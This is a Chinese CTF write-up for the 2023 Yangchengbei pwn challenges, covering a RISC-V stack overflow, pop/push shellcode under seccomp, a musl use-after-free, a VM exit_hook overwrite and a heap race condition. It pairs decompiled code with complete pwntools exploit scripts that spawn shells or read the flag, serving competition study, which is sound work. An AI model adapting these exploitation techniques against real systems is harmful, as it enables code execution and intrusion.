这次羊城杯见识涨了不少
复现完,应该能够窥见天才殿堂的一角了吧…
2023-羊城杯-题目附件
risky-login
risc-v的题第一次看
tnnd,搞半天环境不如用ghidra
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| undefined8 FUN_123457ea(void)
{ undefined auStack_130 [288]; gp = &__global_pointer$; FUN_123456a0(); puts("RiskY LoG1N SySTem"); puts("Input ur name:"); read(0,&DAT_12347078,8); printf("Hello, %s"); puts("Input ur words"); read(0,auStack_130,0x120); FUN_12345786(auStack_130); puts("message received"); return 0; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| void FUN_12345786(char *param_1)
{ size_t sVar1; char acStack_108 [248]; gp = &__global_pointer$; sVar1 = strlen(param_1); DAT_12347070 = (byte)sVar1; if (8 < DAT_12347070) { puts("too long."); exit(-1); } strcpy(acStack_108,param_1); return; }
|
溢出点在这里,强行转换为byte类型后会造成16个字节的溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| void FUN_123456ee(void)
{ char *pcVar1; gp = &__global_pointer$; puts("background debug fun."); puts("input what you want exec"); read(0,&DAT_12347078,8); pcVar1 = strstr(&DAT_12347078,"sh"); if ((pcVar1 == (char *)0x0) && (pcVar1 = strstr(&DAT_12347078,"flag"), pcVar1 == (char *)0x0)) { system(&DAT_12347078); return; } puts("no."); exit(-1); }
|
这个是后门函数,ban掉了”sh”和”flag”,可以通过cat f*来绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import *
p = remote('tcp.cloud.dasctf.com',29560)
elf = ELF('./pwn') libc = ELF('./libc.so.6') context(log_level='debug')
system = 0x0000000000010760
p.recvuntil(b"Input ur name:") p.send(b'0'*8) p.recvuntil(b"Input ur words") p.send(b'1'*0x100+p64(0x0000000123456EE)) p.sendline(b'cat f*')
p.interactive()
|
shellcode
可以执行长度为 0x10 字节的 shellcode,shellcode 指令只能为 pop/push <寄存器>。
解题的关键点有两个:
(1) shellcode 地址位于栈上;
(2) 开头可以写任意 2 字节数据到栈上(也就是那个 “[2] Input: (ye / no)”)。
解题思路是先将 2 字节的 syscall 汇编指令码(\x0f\x05)写到栈上,然后利用 pop/push 指令将指令码复制到 shellcode 内存末尾,并布置好寄存器,最后调用 read 系统调用读入 cat flag shellcode 到 shellcode 内存上。
栈上有一个缓冲区地址恰好指向我们输入的 syscall 指令码,可以把这个缓冲区地址 pop 到 rsp,将 syscall 指令码 pop 到某个寄存器后,再次利用 pop/push 指令将 rsp 改成事先保存好的 shellcode 内存地址,最后利用 pop 指令将 syscall 指令码写到 shellcode 内存地址上即可。
执行 shellcode 前加载了 seccomp 沙盒,只能调用 open, write, read 和 dup2 系统调用,并限制 read 和 write fd 参数的范围(read 限制 fd <=2、write 限制 fd >2)。 fd 限制可以利用 dup2 重定向 fd 来绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| from pwn import * import warnings warnings.filterwarnings("ignore", category=BytesWarning)
context(arch="amd64", log_level="debug")
p = remote("tcp.cloud.dasctf.com", 27135)
p.sendafter("[2] Input: (ye / no)", b"\x0f\x05")
sc1 = asm(""" push rax pop rsi push rbx pop rax push rbx pop rdi
pop rbx pop rbx pop rsp pop rdx
push rsi pop rsp pop rbx pop rbx pop rbx push rdx push rdx """)
p.sendafter("[5] ======== Input Your P0P Code ========", sc1)
sc2 = "nop\n"*0x12 sc2 += """ mov rsp, r12
mov rax, 0x67616c662f push rax mov rdi, rsp mov rsi, 0 mov rax, 2 syscall
mov rdi, rax mov rsi, 0 mov rax, 33 syscall
mov rdi, 1 mov rsi, 23 mov rax, 33 syscall
mov rdi, 0 mov rsi, rsp mov rdx, 0x100 mov rax, 0 syscall
mov rdi, 23 mov rax, 1 syscall """
p.send(asm(sc2))
p.interactive()
|
cookieBox
先贴篇文章https://www.anquanke.com/post/id/202253#h3-12
很详细,看完来看题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| void __fastcall __noreturn main(int a1, char **a2, char **a3) { char *v3; const char *v4; char v5[256]; _QWORD v6[2];
v6[1] = __readfsqword(0x28u); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); v3 = v5; memset(v5, 0, sizeof(v5)); v4 = (const char *)v6; while ( 1 ) { sub_400CE8(v4, 0LL, v3); switch ( (unsigned int)sub_400980() ) { case 1u: sub_400A50(); break; case 2u: sub_400B69(); break; case 3u: sub_400C59(); break; case 4u: sub_400BE1(); break; case 5u: exit(0); default: v4 = "invalid choice"; puts("invalid choice"); break; } } }
|
常规菜单题,增删改查
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| int sub_400C59() { unsigned int v1;
puts("Please input the idx:"); v1 = sub_400980(); if ( v1 <= 0xF && (&buf)[v1] && *((_DWORD *)&nbytes + v1) ) { puts("Please input the content:"); read(0, (&buf)[v1], *((unsigned int *)&nbytes + v1)); puts("Done"); } return puts("Idx Error"); }
|
free之后没有把指针清空,存在UAF
第一步泄漏 libc 基址,musl-libc 把程序内存或者 libc 内存的空闲内存划为堆内存,耗尽后才会申请动态内存。泄露堆地址就可以得到程序基址或 libc 基址
leak 之后可以利用 unbin 进行unlink,unbin 没有检查prev和next指针是否合法,通过堆溢出我们可以改写这两个指针,利用 unbin 向任意地址写指针地址,即*(uint64_t*)(prev + 2) = next和*(uint64_t*)(next + 3) = prev。
可以将 prev改成 io(stdin stdout),然后把 next改成 bss地址,然后申请一个 chunk 0x100,就可以实现将任意地址写入 bss 地址,然后再申请,即可任意申请io写io,然后改io为 binsh 打system即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| from pwn import * context(os='linux', arch='amd64', log_level='debug')
elf = ELF('cookieBox') libc = ELF('libc.so')
p = process('./cookieBox')
def debug(): gdb.attach(p) pause()
def add(size, payload): p.recvuntil(">>") p.sendline("1") p.recvuntil("size:\n") p.sendline(str(size)) p.recvuntil("Content:\n") p.send(payload)
def free(idx): p.recvuntil(">>") p.sendline("2") p.recvuntil("idx:\n") p.sendline(str(idx))
def edit(idx, payload): p.recvuntil(">>") p.sendline("3") p.recvuntil("idx:\n") p.sendline(str(idx)) p.recvuntil("content:\n") p.send(payload)
def show(idx): p.recvuntil(">>") p.sendline("4") p.recvuntil("idx:\n") p.sendline(str(idx))
add(0x100, b'a'*8) add(0x100, b'a'*8) add(0x100, b'a'*8) add(0x100, b'a'*8)
show(0) p.recv(8)
libc.address = u64(p.recvuntil(b"\x7f").ljust(0x8,b"\x00")) - 0x292e50 success("libc.address-->"+hex(libc.address))
stdin = libc.address + 0x292200 success("stdin-->"+hex(stdin))
system = libc.sym['system'] success("system-->"+hex(system))
bss = 0x602060 free(1) add(0x100, b'1') free(1) edit(4, p64(stdin) + p64(0x602070-0x10))
add(0x100, b"A") payload = b"/bin/sh\x00" payload += b'A' * 0x20 payload += p64(0x22222222) payload += b'A' * 8 payload += p64(0x11111111) payload += b'A' * 8 payload += p64(system) edit(2, payload)
p.recvuntil(">>") p.sendline("5")
p.interactive()
|
easy_vm
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| void __fastcall __noreturn main(int a1, char **a2, char **a3) { setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); puts("It's a easy vmpwn,enjoy it"); ptr = malloc(0x1000uLL); malloc(0x20uLL); free(ptr); ptr = 0LL; qword_201040 = (__int64)malloc(0x1000uLL); buf = malloc(0x1000uLL); puts("Inputs your code:"); read(0, buf, 0x1000uLL); while ( *(_BYTE *)buf ) { switch ( *(_BYTE *)buf ) { case 1: qword_201040 += 8LL; *(_QWORD *)qword_201040 = qword_201038; buf = (char *)buf + 8; break; case 2: qword_201038 = *(_QWORD *)qword_201040; qword_201040 -= 8LL; buf = (char *)buf + 8; break; case 3: *(_QWORD *)qword_201038 = *(_QWORD *)qword_201040; buf = (char *)buf + 8; break; case 4: qword_201038 ^= *((_QWORD *)buf + 1); buf = (char *)buf + 16; break; case 5: qword_201038 = *(_QWORD *)qword_201038; buf = (char *)buf + 8; break; case 6: qword_201038 += *((_QWORD *)buf + 1); buf = (char *)buf + 16; break; case 7: qword_201038 -= *((_QWORD *)buf + 1); buf = (char *)buf + 16; break; default: buf = (char *)buf + 8; break; } } exit(0); }
|
one_gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
|
先给 0x201038 一个 libc(2),算 one_gadget(7)保存到 0x201040(1),再算 exit_hook(6),用(3)将 one_gadget 赋值到 0x201038 的 exit_hook 中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import * context(log_level='debug',arch='amd64',os='linux')
p = remote('tcp.cloud.dasctf.com',23804) libc = ELF('./libc-2.23.so') libc = 0x3c4b78 exit1 = 0x5f0040 + 3848 exit2 = 0x5f0040 + 3856 one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147] payload = p64(2) payload+= p64(7) payload+= p64(libc - one_gadget[3]) payload+= p64(1) payload+= p64(6) payload+= p64(exit1 - one_gadget[3]) payload+= p64(3)
p.recvuntil('Inputs your code:\n') p.sendline(payload) p.interactive()
|
heap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| unsigned __int64 __fastcall sub_1732(char *a1) { int v2; int v3; const char *src; const char *srca; char dest[264]; unsigned __int64 v7;
v7 = __readfsqword(0x28u); src = strtok(a1, ":"); if ( src ) { strcpy(a1, src); srca = strtok(0LL, &byte_21DA); if ( srca ) strcpy(dest, srca); } puts("The paper index loading"); v2 = atoi(a1); v3 = *(_DWORD *)(*((_QWORD *)s + v2) + 8LL); sleep(1u); if ( (unsigned int)v2 <= 0xF && *((_QWORD *)s + v2) ) { printf("paper index: %d\n", (unsigned int)v2); puts("Input the new paper content"); strncpy(**((char ***)s + v2), dest, v3); puts("Done"); } else { puts("Invalid paper index"); } return v7 - __readfsqword(0x28u); }
|
多线程未加锁导致竞争条件。edit 存在 1 秒的竞争窗口,且竞争窗口过后没有更新 v3。
同时没有限制堆块大小,可以申请一个大chunk1
在竞争窗口中free掉chunk1,同时申请小堆块chunk2
此时可以对chunk2进行溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| int __fastcall sub_1469(const char *a1) { int result; int i; int v3; _DWORD *v4;
for ( i = 0; i <= 15 && *((_QWORD *)s + i); ++i ) ; if ( i == 16 ) return puts("paper pool is full"); v3 = strlen(a1); if ( v3 <= 79 || v3 > 104 ) return puts("paper size error"); v4 = malloc(0x10uLL); *(_QWORD *)v4 = malloc(v3); v4[2] = v3; printf("creating paper with index %d\n", (unsigned int)i); puts("Input the paper content"); strncpy(*(char **)v4, a1, v3); puts("Done"); result = (int)v4; *((_QWORD *)s + i) = v4; return result; }
|
溢出对象是保存堆块地址的小堆块,也就是这里的v4
因为edit用的是
1
| strncpy(*(char **)v4, a1, v3);
|
我们要注意溢出空间不能过大,以免破坏其他数据
首先泄漏 libc 地址。线程的堆块都分配至单独的线程堆 (堆地址以 0x7f 开头),arena 的位置就位于堆空间上方,所以只要溢出修改 ptr 低位就可以将其指向 arena,从而泄漏 arena 上的 libc 地址(泄漏出来的地址恰好是 main arena 地址)。
getshell 方法是泄漏 libc 上的栈地址,然后将栈上的 main 函数返回地址修成 one gadget 地址。libc 上有两处地方可以泄漏栈地址,__environ 和 __libc_argv,这道题只能使用后者,因为前者地址的最低位恰好是空字节。
栈需要修改两个地方,第一个是前面提到的 main 函数返回地址,第二个是 main 函数的 saved rbp。修改 saved rbp 是为了满足 one gadget 利用条件(下图这个),原来的 saved rbp 是数值 1,需要把它改成任意一个可写内存地址。
1 2 3 4 5
| 0xebdb3 execve("/bin/sh", rbp-0x50, [rbp-0x70]) constraints: address rbp-0x50 is writable [rbp-0x50] == NULL || rbp-0x50 == NULL [[rbp-0x70]] == NULL || [rbp-0x70] == NULL
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118
| from pwn import * import warnings warnings.filterwarnings("ignore", category=BytesWarning)
import time
context(arch="amd64", log_level="debug")
p= process('./heap') elf = ELF('./heap')
libc = ELF("./libc-3.35.so")
sla = lambda x, y : p.sendlineafter(y, str(x) if not isinstance(x, bytes) else x) sl = lambda x : p.sendline(str(x) if not isinstance(x, bytes) else x) sa = lambda x, y : p.sendafter(y, str(x) if not isinstance(x, bytes) else x)
def add(ctx): sla(f"1 {ctx}", "Your chocie:") def show(ctx): sla(f"2 {ctx}", "Your chocie:")
def edit(idx, ctx): pp = b"3 " + str(idx).encode() + b":" + ctx sla(pp, "Your chocie:")
def edit_no(idx, ctx): pp = b"3 " + str(idx).encode() + b":" + ctx sl(pp)
def free(idx): sla(f"4 {idx}", "Your chocie:") def free_no(idx): sl(f"4 {idx}")
add("A"*0x50) add("B"*0x68) add("C"*0x61) add("a"*0x50) add("b"*0x68) add("c"*0x62) add("1"*0x50) add("2"*0x68) add("3"*0x66) add("1"*0x50) add("2"*0x68) add("3"*0x66)
free(0) edit(2, b"X"*0x60+b"\x80") free(2) add("C"*0x61) add("A"*0x50)
time.sleep(3)
free(3) edit(5, b"x"*0x60+b"\xa0\x08") free(5) add("c"*0x62) add("a"*0x50)
time.sleep(3)
show(4) p.recvuntil("paper content: ") libc.address = u64(p.recv(6).ljust(8, b'\x00')) - 0x219c80 success("libcbase: 0x%lx", libc.address)
p_stack = libc.address + 0x21aa20 edit_no(1, p64(p_stack)[:6])
time.sleep(3)
show(0) p.recvuntil("paper content: ") stack = u64(p.recv(6).ljust(8, b'\x00')) main_ret_addr = stack-0x110
success("stackbase: 0x%lx", libc.address) success("main ret address ptr: 0x%lx", main_ret_addr)
free_no(6) edit(8, b"0"*0x60+p64(main_ret_addr-8)[:6]) free(8) add("3"*0x66) add("1"*0x50)
time.sleep(3)
writable_ptr_b = p64(libc.address + 0x21c240)
edit(7, writable_ptr_b[:6])
free_no(9) edit(11, b"0"*0x60+p64(main_ret_addr)[:6]) free(11) add("3"*0x66) add("1"*0x50)
time.sleep(3)
one_gadget_b =p64(libc.address + 0xEBD48) edit(10, one_gadget_b[:6])
time.sleep(3)
p.sendline("5")
p.interactive()
|